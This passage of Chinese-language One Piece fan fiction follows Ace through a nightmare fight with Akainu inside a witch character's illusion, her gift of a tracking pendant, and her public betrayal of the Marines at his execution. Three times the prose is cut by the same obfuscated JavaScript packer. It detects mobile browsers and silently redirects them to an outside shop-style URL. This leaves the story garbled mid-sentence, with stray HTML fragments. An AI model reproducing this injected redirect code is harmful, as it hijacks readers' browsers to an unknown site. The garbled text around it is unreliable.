好在幻境里的洛卡虽然戳穿了他,但念在被他救过的份上还是将信将疑地接受了他。他跟着洛卡绕回加西亚的主宅,海军已将这里占领,宅内遍布着加西亚族人的尸体——不同于外面那些没有五官的海军,这里每一个死去的加西亚族人都面目清晰,连服饰的滚边花纹都十分具体。 他们大多死于枪伤,服饰略繁复些的死状便更惨烈些,身上不仅有子弹穿过的血洞,还有大面积的烧伤,衣服、头发、皮肤胡乱黏连一处,早已看不清原本的面目。 大约都是死于赤犬之手。 年幼的洛卡差点崩溃,满脸泪水脸色苍白地对艾斯说道:“在上面,朝楼上去。” 他并没有听她的,抬头朝上方一望,大概知道他现在就在赤犬所在的餐厅的正下方。其实他知道这样做没有任何意义,但还是使用能力烧毁了头上的天花板,楼上传来一阵又一阵的惊叫,呼啦啦掉下来不少海军。 赤犬跳下来时周围场景忽然一变,加西亚家的主宅突然消失,周围环境一瞬之间变成了那个理论上他还从未去过却已经十分熟悉的处刑场。 已经成为大将的赤犬就站在他跟前,还是那副看不清五官的模糊模样。 十岁的洛卡从他怀里消失,成年的洛卡远远地站在处刑场的另一端,落在他眼里只有一个瘦削的影子。 再有几秒,那岩浆就要穿透他的身体。 同时他也看见站在洛卡身边的海军忽然毫无征兆地举起枪,对准了洛卡的太阳穴。 “……洛卡!” 艾斯震惊于这样的异变,不明白向来稳定的、来自洛卡的幻境为何突然作出杀害洛卡的行为,惊慌震怒之余他下意识地唤出一股火焰去挡赤犬的杀招,出乎意料地,竟然挡住了。 他这个时候没心情去管火焰挡住岩浆的原理,也没空去看赤犬的反应,他刚捡回一条命就朝即将被枪杀的洛卡飞奔而去,等他意识到自己竟弃战丢下了对手的时候他已经到洛卡跟前了。 他扯掉那个要枪决洛卡的海军的手臂,将洛卡抱起来向前疾奔几步,却不知道要向哪里逃——这个战场上没有他的同伴,若他迟早要被赤犬杀死,那洛卡要怎么办? 今天的幻境到底为何如此怪异? 那个面目模糊的赤犬已经向他们追了过来,周围同样面目模糊的海军纷纷转头朝他们冲过来,这些人物的轮廓线条模糊得像未完成的草稿,毫无血色的嘴张大成一个不标准的圆,发不出任何声音,仅能从表情上判断似乎是在怒吼。 周围那么安静,像一出没来得及上完色的默剧。 艾斯在这诡异的默剧中间唤出火墙把那些仅有黑白线条的海军烧了个干净,唯赤犬一人穿过火墙几步跨到他跟前。他抱着始终沉默不发一言的洛卡后退了一步,正准备起手攻击,却见怀中的洛卡忽然推了他一把,从袖中拿出一支紫水晶,将尖端对准自己的心脏用力刺入。 她脚下的火苗舔舐着她的衣摆,却并未真的伤害到她。 艾斯忽然明白过来:这里是她的幻境,除了他之外的所有人和事都是她幻境的一部分。幻境不可能反过来杀害主人,刚才的枪决其实和现在洛卡的行为一样,都是洛卡的自戕。 他记得,她十岁时被海军抓获时也是不惜以自戕的方式来反抗的——但他不确定那时的洛卡到底是假装自戕来转移对方的注意力,还是真的宁死也不能落在海军手里。 他再次召出火墙挡在赤犬跟前,同时飞奔过去将洛卡扑倒。她的动作被阻止,但那水晶已没入她胸口大半,她呼吸渐弱、瞳色泛白,是濒死之象。 艾斯努力地叫她:“洛卡?洛卡?你在开玩笑吗?你为什么要给我看这些,你到底在想什么?” 她没有答。 奇怪的是她死了幻境却没有崩塌。艾斯抱着她的尸体筋疲力尽地应付赤犬的攻击。他知道尸体会逐渐冰冷僵硬,就一直自欺欺人地将她抱在怀里,似乎这样她就不算真正地死去。 这个时候他反而想通了他先前是怎么挡住赤犬的攻击的——是在火焰里掺入了武装色霸气。 火焰始终被岩浆克制,艾斯靠霸气和意志力硬撑许久,怀中的洛卡始终没有苏醒的迹象。 “她是……” 就在艾斯感觉自己的体力和精神都将崩溃的时候,他听见赤犬开口了。 洛卡明明不想听到他的声音,他却在洛卡的幻境里忽然说话了。 “叛徒。” 赤犬的声音很模糊,却不妨碍他又重复一遍,“她是叛徒。” 他伸手向洛卡探过来,似乎要将她抢走。那一瞬间艾斯全身的血齐齐冲向脑门,终于不再退避而是上前一步,抬高手臂朝赤犬的眼睛部位打了个响指——同时足尖点地,抱着洛卡跳了起来,包裹着武装色的腿直直踹向赤犬的面门。 赤犬伸手格挡他的腿击,一串刺目的火花自艾斯的指尖迸出,赤犬的行动凝滞了一秒,被艾斯踹中小臂后退了两步。同时拳状的岩浆擦过艾斯的肩膀,他感到自己的左肩被活生生削去了一层血肉。 果然即使看不到对方的眼睛,火花也能损伤对方的视力。 高温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052203|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火花他现在还无法频繁使出,只能忍着右肩的剧痛伸出两指对准赤犬的喉间,稍顷,赤犬周身的空气忽然剧烈震动,原本对他产生不了任何威胁的热浪突然接连炸开,不带一丝火焰却炸伤了赤犬颈间的皮肤,逼得赤犬后退了几步。 火花无法持续使出,光凭高温电离产生的爆炸范围还是太小了。 艾斯抱着洛卡疲惫地滑倒在地:“洛卡,你是不是在骗我?” “你一定在哪里看着我对不对?” 对面赤犬又站了起来。 艾斯已经不想再抵抗,他根本想不通此刻自己到底在保护什么:“我明白了,洛卡。我不会再有放弃自己只让你一个人上船的想法,我不能再逃避那些真正想逃避的东西……你也不要逃避好不好?” 她的呼吸早已停止了。看来只有死亡能将他带离这奇诡的幻境。 赤红的岩浆自上而下笼罩了一坐一躺的两人,玻璃罐内的艾斯终于在剧烈的痛楚中睁开了眼睛。 * 洛卡的睡眠向来不好,今天尤其不好,不知道为什么在一片漆黑的梦里她总感觉有人正在死盯着她看。这种不安感终于迫使她在半梦半醒间睁开眼睛,果然看到一张双颊上长了许多雀斑的、最近每天都看得到的脸。 “怎么是你啊!不对,应该说果然是你啊!” 洛卡大叫一声猛地从铁丝床上坐了起来,额头哐一声撞上艾斯的下巴,又在一片眩晕感中跌回床上,“啊啊啊啊好疼——我睡觉你盯着我干嘛,你特训都学了些什么呀!” 艾斯揉了揉吃痛的下巴,伸手把她扶了起来:“抱歉,我没想吓着你的。” 他从玻璃罐里出来之后第一件事就是去查看洛卡的情况,她还是一副被梦魇住的模样,眉头紧皱表情不安,但好在面色红润体温正常,还好好地活着。 艾斯伸手覆住她的额头,温暖的掌心缓和了额头的痛感,洛卡这才舒了口气。 “洛卡,你知道你们一族以前生活过的那座岛现在怎么样了吗?” “……不知道。”洛卡惊讶地抬眸看着他,“我从来没有回去过,你为什么突然问这个?” “正好,我也不知道。”艾斯笑得十分爽朗,“等咱们从这里出去之后你带我去看看吧!” “那估计已经成荒岛了吧,有什么好看的?”洛卡莫名其妙地反问,“再说我的族人都已经不在那里了……” 至少她没否认要一起从这里出去这一点,艾斯还是松了口气:“那也可以修葺一下发展出一个旅游景点之类的,毕竟是叛出海军加入海贼的炫酷女巫的故乡,有了人气之后你就会自然而然地想时常回去看看的。” 洛卡不满地嘟囔:“一个叛军的故乡真的会有人想去看吗……还有你到底为什么要问这些啊?在玻璃罐里撞到头了?” “我在幻境里面看到那座岛了。”艾斯目光炯炯地看着她,“但是那只是你的记忆吧?我想在真实世界看看你长大的地方。更何况,在海军登岛之前那里可不是什么荒土啊。” 洛卡觉得他今天有点怪,但又实在说不上来哪里怪:“在幻境里见到那座岛?那也不是第一次了吧,怎么今天突然……” “今天我在那里见到了小时候的你。”他摸了摸她脑袋上睡乱了的几缕头发,“小时候的你总自欺欺人地认为我是你的使魔又马上清醒地戳穿我,其实你没有什么使魔,你的婆婆大概是没来得及给你留下使魔就过世了吧?” “……你怎么知……” “都是你自己告诉我的。”艾斯说,“你说得对,我每次见到的都是不同的你,所以每次我对你许下的诺言都没办法实现。但是承诺是有重量的,实现不了的话人的脊背就会被越压越弯。那些诺言,诸如烤蘑菇、放烟花之类的,我决定逃出去之后再带你一桩一桩地实现,所以带我去看你的家乡这件事,也拜托你一定要做到。” 12. 工资越低越容易报复性消费 012 洛卡把那条铜制项链修理完成时已近黄昏,距离处刑日约莫还有三天的光景。 她伸手将那条项链递给艾斯:“给,是我在旧货市场淘来的古铜项链。为了项链的牢固度我把零件全部换成黄金了,但为了美观我还是把它变成了古铜色——这种铜色很好看吧?虽然有点费眼睛又有点费钱但是完成了还是很有成就感的!” 艾斯有些感动地接了过去:“但是这已经不能叫古铜项链了吧?而且你哪来的钱买黄金,好不容易找回来的存折都花在这上面了?” 洛卡有些尴尬地轻咳一声:“反正在这里挣到的工资我到最后也带不走,还不如买点保值的东西。”她指了指桌上的水晶球,“而且我也不是只拿死工资啦,上一代家主还是给我留了点祖产的,比如二手专卖店死活卖不出去的魔法书什么的……都在这里面了。” “所以你真的用所有积蓄给我镶了条项链?!”艾斯顿时觉得手里的项链有些烫手,“洛卡……虽然我很感动但是你自己日子不过啦?” “反正在这里的日子还有三天就到头了,而且用政府发的钱给海贼买礼物会让我感到一种诡异的开心嘛。”洛卡笑了笑,“底下的吊坠打开看看。” 艾斯这才发现底下那只嵌着一枚火纹石的吊坠竟然是可以打开的——里头是露玖那张证件照,他曾在洛卡的文件里见过;那张照片现在贴在一块半透明的粉晶石上,晶石里头正缓缓流淌着细碎的浅粉色流沙。 “内外风格是不是有点割裂啊?”洛卡不好意思地挠挠头,“我已经很久没有给别人做吊坠了,有点手生。” 艾斯握紧了那只吊坠,稍顷解开扣子自己戴到了脖子上:“谢谢你,我会好好珍惜的。” 项链戴好后那吊坠正好贴在艾斯的胸口正中,魔力迅速沿着他的肌理钻进他的血脉和心室,离他几步远的洛卡很快感受到了艾斯那规律的心跳。 “不客气,我送它给你也是有目的的。”洛卡见那条项链戴在艾斯脖子上尺寸刚好,不由得满意地点了点头,“吊坠里头藏着一点我的魔力,这样无论你离我多远我都能掌握你的大概位置。” “是吗,原来是个定位器。”艾斯摸了摸那吊坠,“你送我东西被他们发现了怎么办?” 洛卡揉了揉眼睛:“没事,用收集能力者死前心率体温变化之类的理由就能搪塞过去……比起那种事,你都快被处刑了,特训到底怎么样了?”她看了一眼空空如也的囚室中央——玻璃罐已经在今早被移走了,“我今晚也得回去了,下次见面就是在处刑场了哦?” 艾斯奇道:“你家都没了能回哪去?”又有些遗憾地说道,“我还以为你能送我上刑场呢。”说着他摊开手掌,看着掌心跃起一朵小小的火花,“至于特训……差不多吧。” “……送你上刑场是什么好事吗怎么你这话听上去还挺遗憾的样子?以及特训差不多是什么意思?” 洛卡好奇地凑近看了看那朵小小的火花,除了感到有股热浪扑面而来之外,那呲呲乱响的火花看上去威力还不如十几秒就能燃尽的仙女棒。 看了半天除了被烤得热得慌之外没看出什么特别的,她又把脑袋缩回去了:“家是没了,但反正是不能和死刑犯继续待了,大概出去找个酒店住两天编个报告出来吧……哎,我就说你和我调制的魔药不能兼容,每次都被魔药炸得吱哇乱叫行不行?” 艾斯想象了一下自己吱哇乱叫的场景,很多年前他和萨博争执出海之后谁当船长时似乎有过几回:“……行。” “那就好,说回正题。”想到怎么编报告的洛卡松了口气,突然说起另一件看似无关的事,“说起来你是自己改成母姓的对吧?” “对。怎么突然说起这个?” “也没什么,没太见过儿子主动改成母姓的,对名字比较在意而已啦……话说,你一到处刑台海军就得对外宣布你的身份,或许还会对你母亲有些对你来说很恶毒的诛心之言,你做好心理准备了吗?” 艾斯不语,眼中的亮光瞬间暗了下去。 “就算真到了那一步,也不要被海军扰乱心智。”洛卡摸了摸他的头,“八年前我的族人一个不剩被害死了,只有我在某位海军的求情之下捡回条命进了军校,从此每天都要接受海军的洗脑,诸如我的家族背叛天龙人有多么可恶、政府对我多么仁慈才让我活了下来之类,听得我耳朵都起茧子了。” 说到这里她还笑了一声,“他们好像非常害怕血脉和基因这种无法选择的东西,为了将无罪之人赶尽杀绝不惜罗织罪名杀害手无寸铁的老人孩童,也要自诩正义求个安心。真是奇怪,这样狠辣的组织,又怎么会甘当奴隶、跪伏在天龙人的脚下呢?” * 拿起包袱出了门洛卡才想起自己存折上的钱早先为了买黄金已经取空了,好在钱包里还有些钱,请求民宿老板网开一面的话大概能够在储物间或者阁楼之类的地方睡个两晚。 洛卡一想到自己这么多年的积蓄竟然只够买一小块黄金她这心里就堵得慌,一边叹气一边骑着扫帚往马林梵多附近的城镇上赶,以求在天黑之前找到地方落脚。 经过城内最大的驿站的时候洛卡忽然听到身后有人叫她: “洛卡小姐?洛卡小姐!” 洛卡惊讶回头,看到驿站的老板正热情地站在门口招呼她,“到了怎么不进来?您不是在我这儿定了个套房吗?不记得啦?” 她惊了惊:“套房?” “是啊,还是一位有军衔的海军来替您定的房呢。”老板搓着手把她迎了进去,“处刑日在即,我这儿可是离处刑场最近的酒店了,您挑在我这儿可真有眼光啊。” 洛卡将信将疑地跨进门去,老板忙不迭把房间钥匙塞给她:“三天两晚,早晚餐全包,有事您叫我。” 她捏着那把钥匙细细一想:这房间不可能是海军给她订的,她的公寓损毁不管是楼房老化还是实验失败都会被归为她自己的原因,在后勤内务上经费一向不宽裕的海军不可能替她善后;她在海军内部存在感素来很低,树敌众多的同时也没什么朋友,不过与她有过节的同事眼下都是非死即病,很难想象会有不对付的同事为了整她还特地花钱订一间套房。 不是海军干的,难道是海贼干的? 这时候还能有哪家海贼会找上她呢? 洛卡找到了那个房间开门进去,坐在沙发上等到夜幕完全降临也没等来什么异动,昏昏欲睡的时候终于被一阵敲门声惊醒。 她隔门问道:“谁?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052204|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 门外传来一道略耳熟的男声:“客房服务。” 洛卡一愣,差点笑出声来——但她还是调整出一副严肃的表情才走到门边,拉开门把手看到了一张平平无奇的服务生的脸。 是她刚才在楼下看到过的服务生,五官几乎一模一样。 这就是传说中的忍术吗?伪装得很成功嘛。 洛卡看着他把餐车推进来,一样一样把晚餐放到桌上:“您的餐齐了。” “等等。”洛卡伸手阻止了他往门外走的动作,从沙发上站了起来,“帮我把餐具铺齐。” 服务生于是又回去摆餐具,摆得差不多了又听洛卡吩咐道:“去把窗帘拉开。” 他憋着心头的无名火过去拉窗帘,还没走近窗户又听到她反悔了:“算了,我突然不想拉窗帘了。你去把那些铺开的餐具收起来,再换一套新的吧。” 服务生不是听不出洛卡话里的捉弄之意,无奈他现在只能听命于人,只好又走过去换餐具。 新餐具摆到一半,洛卡忽然又开口了:“我听你哥说起你的时候还以为你是个颇有脾气的人,原来这种时候也能这么听话啊。” 服务生的动作一滞,抓紧手中的餐刀一息之间便出现在洛卡的身后,刀尖对准了她的脖颈:“你离开推进城的时间比你之前说的晚了一天。” 倒是一句废话没有——看样子,驿站老板说的来订房的海军大概就是佐助伪装的。 洛卡有些意外:“你不问问我是怎么认出你的吗?”又恍然大悟道,“啊,还是说你觉得你哥的情况比你的安危更重要?艾斯他还真是捡了个不得了的弟弟啊。” “我没空听你说这些废话。”伪装失败的佐助又重复了一遍刚才的问题,“你离开推进城的日子为什么晚了一天?处刑日那天海军在马林梵多的部署你知道多少?” “我跟艾斯交流了一下处刑日当天的计划细节所以花了点时间,最后是被赶出来的——处刑日将近,目前艾斯不被允许和任何人接触。”洛卡将手一摊,“我说佐助,我们不能坐下来好好说话吗?你也知道这世上只有我是你的同类吧?再说了你的武器都从苦无降级成餐刀了,明摆着不是来取我性命的嘛。” 佐助没有动,只是将餐刀握得更紧:“你还没回答我第二个问题。” “好吧好吧。”洛卡有些无奈,扯了个没有恶意的谎,“海军的部署是不可能告诉我这种边缘人的,眼下这个情况你就是把我绑了送到海军跟前也没有用。但如果你愿意放了我,事情或许能有转机。” “什么样的转机?你到底准备做什么?” “你不必如此焦躁,佐助。”洛卡偏头看了那餐刀一眼,“无论你这次是私自跑出来还是在白胡子的示意下先一步到此刺探情报,你都在这里拖了太久,若是一点情报也带不回确实有些太可怜了。” 佐助有些冒火:“这倒不用你操心。” 她长出一口气,“不如我们来赌一赌吧。我答应你,处刑日当天我会亲手释放艾斯。你们到达马林梵多之后请先等待十分钟……不,五分钟吧。若是五分钟内我还是没能当着你的面释放他,那随你怎么处置我和我交给你的水晶球,哪怕直接杀了我也行——但如果我做到了,就请你听我一言,如何?” 13. 为了在一个岗位上干下去总得忽略一些来自周围的恶意 013 有了佐助的资金支持,洛卡在豪华套房内宛如一个废人一般躺了三天,第四天一大早打着哈欠骑上扫帚去了马林梵多。 她到得不算晚,但湾内已经密密麻麻地站满了海军。洛卡骑着扫帚从他们脑袋上慢悠悠地飞了过去。 近些年加入海军队伍的新人不认识她,好奇地转头问同事;知晓她来历的又对她的家族厌恶至极,要么闭嘴不言,要么就对她以及她的家族极尽羞辱抹黑之能事,队伍中间不时传出惊叹和窃语。 洛卡飞了一圈总算找到了鹤所在的位置,飘到鹤的附近稳稳落地:“早上好,鹤中将——您到底是怎么能起这么早的,昨晚到今早我睡足了十个小时还是觉得很累呢。” 鹤看了她一眼:“我之前也说过,你若是能从推进城的项目里解脱出来就有时间休息了,洛卡。”想了想她又说了一句,“那些闲语不必放在心上。” “哈哈。我这种领死工资年年指望年终奖的员工哪有休息的资格啊。”洛卡笑出声来,“那些无聊的事情要是都放在心上的话我就没办法在海军内部连着工作这么多年了中将。” 鹤略放心了些,说起了一些别的事:“听说你的研究在艾斯身上有些进展,具体是什么情况?” “不管是什么进展,到今天都得停了嘛。”洛卡眯了眯有些困倦的眼睛,“可惜了,他可是迄今为止少数几个能抗住我的魔药的能力者之一。” ——艾斯被投入实验的时候虽然她及时清除了艾斯体内的魔药,但他竟撑住了数小时还能勉强保持神智清醒,确实很让她惊讶。 “你想要能力者的话,推进城里要多少有多少。”鹤皱起眉头,“当时你迟迟不将艾斯投入实验,知道他被注入魔药后又那么匆忙地赶回去救他,我还以为……” “不能杀他可是你们给我下达的指令。”洛卡看了鹤一眼,面上是一副十分疑惑的表情,“保他活着不就是为了今天吗?正是为了保他活着我才要慢慢调试魔药的强度,谁知道你们会下令让狱卒用旧版魔药去试他?万一真把他弄死了,到最后这不慎杀人的黑锅还是得我来背。” 鹤被她倒打一耙,沉默了一会儿才道:“原本我就反对这个计划……天天让你和一群罪犯待在一起,实在太过危险。” 洛卡却没准备放过之前那个话题:“其实当时中将您下令将艾斯投入实验只是为了试探一下我的态度吧?” 鹤面色有些凝重:确实如此。她知道洛卡一定会赶回去救她的实验对象,但没想到洛卡听闻此事时态度会那么奇怪——不是听闻重要之人被投入实验室时的惶急、也不是听闻向来看重的实验对象险些被杀的震怒,而是先愣了一下,紧接着竟然故作轻松地笑了笑: “真是的,这不是增加我的工作量吗?” 那神态实在太古怪了,怎么看都像是试图隐瞒什么。但之后洛卡调整了魔药,用新申请的设备给艾斯做了实验,实验报告也按期上交了,一切似乎都很正常。 直到今天,鹤心底还是有隐隐的不安。 “其实也不必做这样的试探。”洛卡望着空空如也的处刑台,“我的实验对象可不止艾斯一位,只要玛丽乔亚的那些更尊贵的实验对象还在,我就逃不出这里不是吗?” 鹤震惊地望了她一眼:“为什么……忽然提起这个?” “只是让您放心而已啦。”洛卡歪头朝她笑了笑,忽然伸手大力拍了拍鹤的肩膀,“毕竟这么多年,也就您还肯跟我谈谈心了。” 有一丝紫色的魔力沿着洛卡的指尖钻进了鹤的肩膀,但鹤丝毫未觉:“毕竟是我把你从那座岛上带回来的,我必须负起相应的责任。” “真可靠啊。”洛卡感慨道,“若是海军都能像您这样就好了。” 洛卡说完这句话,周围忽然一静。 她也跟着闭上了嘴,胸腔中的心脏却狂跳起来。 全场寂静,唯有锁链敲打石阶的声响愈来愈近。稍顷,洛卡看到三日未见的艾斯在狱卒的押送之下出现在处刑台后方的通道口,紧接着又被强迫着登上处刑台、面对众人跪了下来。 离开之前她曾嘱咐过艾斯不要反抗,要等到她发出信号才能行事——他果然没有反抗,只是一脸忧愁,心事重重的模样。 她低下了头,开始等待白团的出现。 映像虫被打开,处刑直播开始了。战国元帅几步登上处刑台,站在了艾斯身边,开始了他的宣讲。 流程和洛卡先前说的差不多,艾斯无心去听,开始在台下搜寻洛卡的身影。 她并非前线人员,应当会离岸边远些才对;但她在军中又不承担什么重要职务,所以也不会在三大将附近。 最终艾斯在处刑台往下左侧的一个角落里找到了洛卡,她正看着地面不知道在想些什么;她身侧有一位头发灰白的女性海军正关切地同她说话,但她一个字也没答。 知道她的大概位置,艾斯略松了口气,将目光转了回去。 他转开目光的那一刹那鹤忽然抬头,没有错过艾斯收回目光的那一瞬间。 鹤心头骇然——他刚才是在看洛卡吗?看了一眼又转回去了,是在确认她的位置?为什么要确认她的位置?是想向她复仇还是有什么别的目的? 若真是要报仇那还好说,她一定会保护洛卡;若是别的…… 还能有什么别的? 鹤扶住了洛卡的手臂,关切地顺了顺她的脊背,又问了一遍:“你脸色不好,是最近休息不好吗?” 洛卡这才从自己的思绪中醒悟过来:“啊……对,毕竟研究太累人了嘛。” 眼下所有人都望着处刑台的方向,除了鹤和洛卡。 鹤心底的不安愈发强烈了。 此时战国的宣讲已经到了一个关键的阶段:“……艾斯,你说,你的父亲是谁?” 这一问吸引了所有人的注意力,洛卡也抬起头望向了处刑台。 艾斯挺直了脊背:“我的父亲是白胡子。” 战国对他这个回答没有丝毫意外,继续自己的演讲:“虽然他自己不承认,可波特卡斯·D·艾斯其实是海贼王哥尔·D·罗杰的儿子,原名哥尔·D·艾斯,是由波特卡斯·D·露玖这个狡猾的女人所生……” 艾斯听到这里,忽然想起洛卡离开工作室之前说过的话:“……真是奇怪,这样狠辣的组织,又怎么会甘当奴隶、跪伏在天龙人的脚下呢?” 思及此处他忽然嗤笑一声,打断了战国愈发激情昂扬的演讲:“虽然我不认为那人配做父亲,但他毕竟也已经死了多年,到现在你们竟还在害怕他吗?” “……噗。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052205|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洛卡没忍住笑出了声——看到一旁的鹤面色不虞又立马收敛了笑意。 艾斯这句话引起了轩然大波,刚安静了没多久的海军立时沸腾,开始愤怒地咒骂艾斯和他的母亲。洛卡那一声轻笑落在咒骂声里并不明显,但足以引起鹤的警觉。 高台上战国喊了两次安静,都没能完全压下这一波群体性的愤怒。 “洛卡。”鹤凑近她轻声问道,“我听说你和艾斯时常单独留在囚室里,你真的只是用他做实验,没别的?” 洛卡神色如常:“单独实验是出于保密性方面的考虑不是吗?其余的,还能有什么呢?” 她和艾斯单独留在工作室的次数比往常高出很多,但这也是因为洛卡无论如何都需要保住艾斯的命直到公开处刑这一天、而以往的实验对象都很快死在了实验当中的缘故。 无论如何,关于艾斯实验的任何不合理之处,明面上洛卡都能找到理由糊弄过去。 这也是直到今天海军都没为难她的原因。 鹤总觉得还有哪里不对,但一时斟酌不好言辞:“那你有没有注意到刚才艾斯不知为何看了你一眼……” 话音未落,前方水域忽然传出异响,水域中央逐渐形成一个越来越大的漩涡。没过多久,水下映出一个形状不规则的、巨大的黑影,那黑影距离水面越来越近,终于在众人的惊呼中跃出水面,洛卡这才看清,那巨物原来是一艘船。 那船洛卡认得,幼时她曾在水晶球里见过,是白胡子的莫比·迪克号。 她不知为何松了口气:终于来了。 洛卡朝鹤转过头去:“鹤中将,其实我一直想跟您说,从小我就非常感激您。” 鹤心下更加不安:“怎么忽然说起这些了?” “十岁那年,海军登岛杀了我的全族,也想杀了我。是您在那些主张灭族的海军跟前保住了我,终于等到天龙人要我回到玛丽乔亚的命令。”洛卡说到这里,抬头看了处刑台上的艾斯一眼,“不然,或许我早就死在赤犬的手里了,根本等不到这一天。” 如果说刚才鹤只是隐约有些不安的话,现在这种不安可以说是被洛卡这番话彻底坐实了。她低下头,眼中难掩失望:“难道在海军的这八年,还不够让你认清事实吗?!” “认清事实?” 海面上白团的船还在一艘接一艘地跃出水面,海军内部愈发骚动不安。洛卡冷眼看着这一切,说话时难掩嘲讽之意:“什么事实?中将,您知道这些年我在玛丽乔亚都为什么样的贵族服务吗?我那继承自本族先祖的魔力,八年来都用在了什么样的事情上,您身为海军真的完全不知情吗?” 鹤想要反驳些什么,但是洛卡的话里似乎有一种不容辩驳的力量,导致鹤一时之间说不出任何话来。 洛卡居然对她用了言灵术? “当年赤犬说得不错,我们一族自古以来便是天龙人的奴仆,在以前,或许地位还远不如现在的海军吧?如果天龙人的奴仆一旦叛逃就该被剿灭……” 她笑了一声,“那海军又当如何?一辈子卑躬屈膝以换得性命无忧吗?” 不等鹤回答,她又继续说道,“如果说我们一族曾经为虎作伥、替贵族作恶,全族不得善终也算咎由自取,那岛上的普通人惨遭屠戮难道也是因为犯了死罪?” 14. 离开海军得办离职手续 014 爱德华·纽盖特站在莫比·迪克号的船头,看着湾内密密麻麻的海军,略有些疑惑地转头去问站在他身后的宇智波佐助: “佐助,你之前说海军内部有一位愿意协助营救艾斯的姑娘,为此还调整战术让我们在这里等上五分钟?” 佐助的神情十分焦虑,回答爱德华的问题时眼神仍然一直盯着湾内:“是。” 爱德华更好奇了:“一直被关在推进城内的艾斯也就罢了,你和那女海军只见过两面,竟也愿意相信她吗?” 佐助沉默了几秒才说道:“那是一个赌约。她说,如果她没做到的话,我们可以随时杀了她。而且虽然她不知道海军的部署,但也提到过,如果我们不主动进攻,海军应该不会随意离开陆地,主动放弃优势下水攻击我们。” 爱德华沉吟:这点倒是真的。 ——是相信这个仅见过两面的女海军吗? 佐助觉得自己只是根据情势做出了他认为正确的选择。 爱德华那边已经中气十足地下了令:“所有人听令,自现在开始的五分钟内,除非有人受到攻击,否则任何人不能上岸,全团原地待命!” 战国一下子没摸清白胡子的路数:这是在干什么?为什么要原地待命五分钟?为什么是五分钟?这五分钟到底有什么意义?难道他不怕海军趁这五分钟主动出击? 艾斯听到白胡子的命令也十分震惊,这绝不是白团的作战风格。他下意识地低头看了洛卡一眼。 洛卡正抬头看向这方湛蓝的晴空——不知道为什么,艾斯忽然觉得这场景有些熟悉。 “鹤中将,你们一直以来都在保护些什么呢?”洛卡看着天边奶油白的云朵,“你们的制服背后写着正义二字,却也会眼都不眨地残杀平民;你们要对开启了海贼时代的罗杰的儿子进行公开处刑,却从不去思考这时代总是有人宁愿抛弃家园也要成为海贼的原因。” 鹤一愣,说话时有些她自己都未曾察觉的不屑:“成为海贼的原因?” “罗杰留下的秘宝确实很有吸引力,但到现在为止还没有人亲眼见过那东西呢。”洛卡脸上没有笑意,“一般来说,如果哪个时代、哪个政府能做到让这么多原本是平民的人抛弃一切落草为寇,那问题一定不在被逼上绝路的人身上——至少这个时代的海军并非维护正义和保障安全的组织,只是掌权者□□和剥削的工具。” 她的语调很是平静,但声音经过魔力渲染传到了现场几乎所有海军的耳中,“海军的正义是只属于贵族的正义,你们拼上所有肝脑涂地完成的战斗不过是一种不愿面对真相的自我感动;你们花费这么多心思试图完成的公开处刑也根本无法终结海贼时代、更算不上什么对民意的维护,只不过是在贵族手里讨了点微末的特权之后摇尾乞怜回馈给权贵阶层的愚忠。” 艾斯难以置信地听完,额间落下一滴冷汗:洛卡,你在说些什么?为什么要如此高调地宣扬对海军的背叛?这也是你计划的一部分吗?现在你身边可全是海军啊! “……佐助,你之前说的小姑娘,就是正在说话的那个吗?”全场听了这话心情最好的大概只有白胡子了,“真是有趣的小姑娘啊!怪不得你愿意相信她!” 佐助心下微惊,不知道这位看上去随心所欲但行事倒还算有几分章法的女海军忽然之间发什么疯:“确实是她不错……” 她为什么要打草惊蛇?难道她忘了之前和他商定的计划了吗? ——“我的上一代家主,也就是我的父亲曾告诉我。”洛卡喘了口气,解脱一般地、甚至有些癫狂地轻笑一声,“我们一族曾得神明眷顾,绝不可为人家奴。可我身陷此地八年之久,八年间为了苟活,替天龙人增长寿命、咒杀政敌、夺宝圈地,早已违背祖训。如今唯一能做到的也不过就只有一件事——替我和我的族人赎罪而已。” 她从袖中拿出一支削尖了的紫水晶。 与此同时,战国忽然听到脚边传来咔嗒一声。 他惊讶地朝声源看去——是艾斯挣开了绑缚着他的海楼石锁链,就在他眼前化成了熊熊烈火,那火沿着处刑台一路向下,重伤不少海军,朝着洛卡·加西亚所在的方向一路蔓延而去。 “……他怎能挣开锁链?”战国捡起那断了的锁链,锁链中间断面齐整,还残留着浅紫色的魔力和胶水的痕迹——胶水?她明明可以切断海楼石之后再用魔法连接起来,但却非要用胶水——这简直就是在蔑视海军! 他愤怒地将锁链扔到地上,“洛卡少佐已经背叛海军……鹤,快控制住她!” 